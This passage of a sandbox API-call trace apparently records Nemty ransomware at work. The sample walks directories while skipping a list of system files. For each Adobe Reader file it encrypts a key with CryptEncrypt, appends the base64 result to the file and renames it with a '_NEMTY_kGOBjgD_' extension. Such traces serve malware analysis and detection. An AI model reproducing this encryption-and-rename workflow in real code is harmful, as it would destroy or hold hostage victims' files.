hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.620] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.SUO", cAlternateFileName="")) returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2=".") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="..") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="...") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="windows") returned -1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="$RECYCLE.BIN") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="rsa") returned -1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="NTDETECT.COM") returned -1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="ntldr") returned -1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="MSDOS.SYS") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="IO.SYS") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="boot.ini") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="boot.ini") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="ntuser.dat") returned -1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="desktop.ini") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="CONFIG.SYS") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="RECYCLER") returned -1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="BOOTSECT.BAK") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="bootmgr") returned 1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="programdata") returned -1 [0170.620] lstrcmpiW (lpString1="nppdf32.SUO", lpString2="appdata") returned 1 [0170.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SUO", lpUsedDefaultChar=0x0) returned 11 [0170.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SUO", lpUsedDefaultChar=0x0) returned 11 [0170.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SUO", lpUsedDefaultChar=0x0) returned 11 [0170.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SUO", lpUsedDefaultChar=0x0) returned 11 [0170.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.621] Sleep (dwMilliseconds=0x5) [0170.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1959c470, dwHighDateTime=0x1d561e8)) [0170.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1959c470, dwHighDateTime=0x1d561e8)) [0170.631] GetLastError () returned 0x0 [0170.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.631] GetLastError () returned 0x0 [0170.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.631] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.631] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.631] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.631] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="uUwBWEd/3fHUf6n0y1tWSsrOTP1TDKOJtBq1K2ycfuoc2ml03gwGR+l11A/qlx2E\r\ntHQZ1CQtyMfwTwnkX6d0GfZwf5mwTz+BHg/sQpo7bUC2LkY5Ixl5JOcrIBVpbFJ6\r\n5DOCJyHkj4LDwMWlcYzKs0MG9v8j5XsnowWYqF7ELLz3ZHx9yJ98pnmPamXJcskP\r\noek0K3h4roCg7Dt9nsQO5At3bgWTtdSdq0BTeNbCdtqUw/ZMVl3cM7wxIubzyogw\r\nmn1F/orLNPjH5AQXo3aRmuz5IL8riblvmTtxkJrs9Mfxzb25N026VpLZJ6m8DEqH\r\n9xfyXYMjMki8hpj2j1NGfw==\r\n", pcchString=0x653e91c) returned 1 [0170.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.631] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.631] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.631] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.632] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.633] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.634] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.634] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.634] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.634] CloseHandle (hObject=0x254) returned 1 [0170.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.634] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.suo._nemty_kgobjgd_")) returned 1 [0170.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.635] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.SVE", cAlternateFileName="")) returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2=".") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="..") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="...") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="windows") returned -1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="$RECYCLE.BIN") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="rsa") returned -1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="NTDETECT.COM") returned -1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="ntldr") returned -1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="MSDOS.SYS") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="IO.SYS") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="boot.ini") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="boot.ini") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="ntuser.dat") returned -1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="desktop.ini") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="CONFIG.SYS") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="RECYCLER") returned -1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="BOOTSECT.BAK") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="bootmgr") returned 1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="programdata") returned -1 [0170.635] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="appdata") returned 1 [0170.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SVE", lpUsedDefaultChar=0x0) returned 11 [0170.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.635] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SVE", lpUsedDefaultChar=0x0) returned 11 [0170.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SVE", lpUsedDefaultChar=0x0) returned 11 [0170.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.636] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SVE", lpUsedDefaultChar=0x0) returned 11 [0170.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.636] Sleep (dwMilliseconds=0x5) [0170.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x195c25d0, dwHighDateTime=0x1d561e8)) [0170.646] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x195c25d0, dwHighDateTime=0x1d561e8)) [0170.646] GetLastError () returned 0x0 [0170.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.646] GetLastError () returned 0x0 [0170.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.647] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.647] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.647] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.647] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="TduaqKh6vdFwRqf7ZSwhxp6XLcaDQsM2ps6R3UNe2D6NsnKu83xtRyp+e9z2NdHH\r\nCmEs6t8ru/IOsUD6hByoEGX0F3ymqGlcVZbVlx7fFNM+5MNBixZymCjSqjxg9UYz\r\nVRhduZFovapfVSvrc/CrvFnk9ZrrFSyKzuovN5kPM4cE2n0MxLvv1WZ1DmPyFKlz\r\n5Wu9g58biqbofBFOAsZAjSHa/pXEme4/EDl7wGVqRWmiKmhCBWEPtgIFpBQZ294l\r\nh/ze1cGBAXfgiDBtGSrdKpegCtmF79fssEXXyLiJqIJhDV70p2gPLv+SSnPamN0+\r\ncMnr3/cMS1Nc0RnPRxwzaw==\r\n", pcchString=0x653e91c) returned 1 [0170.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.647] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.647] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.647] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.651] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.651] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.651] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.651] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.652] CloseHandle (hObject=0x254) returned 1 [0170.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.652] RtlAllocateHeap (HeapHandle=0x4f90000, 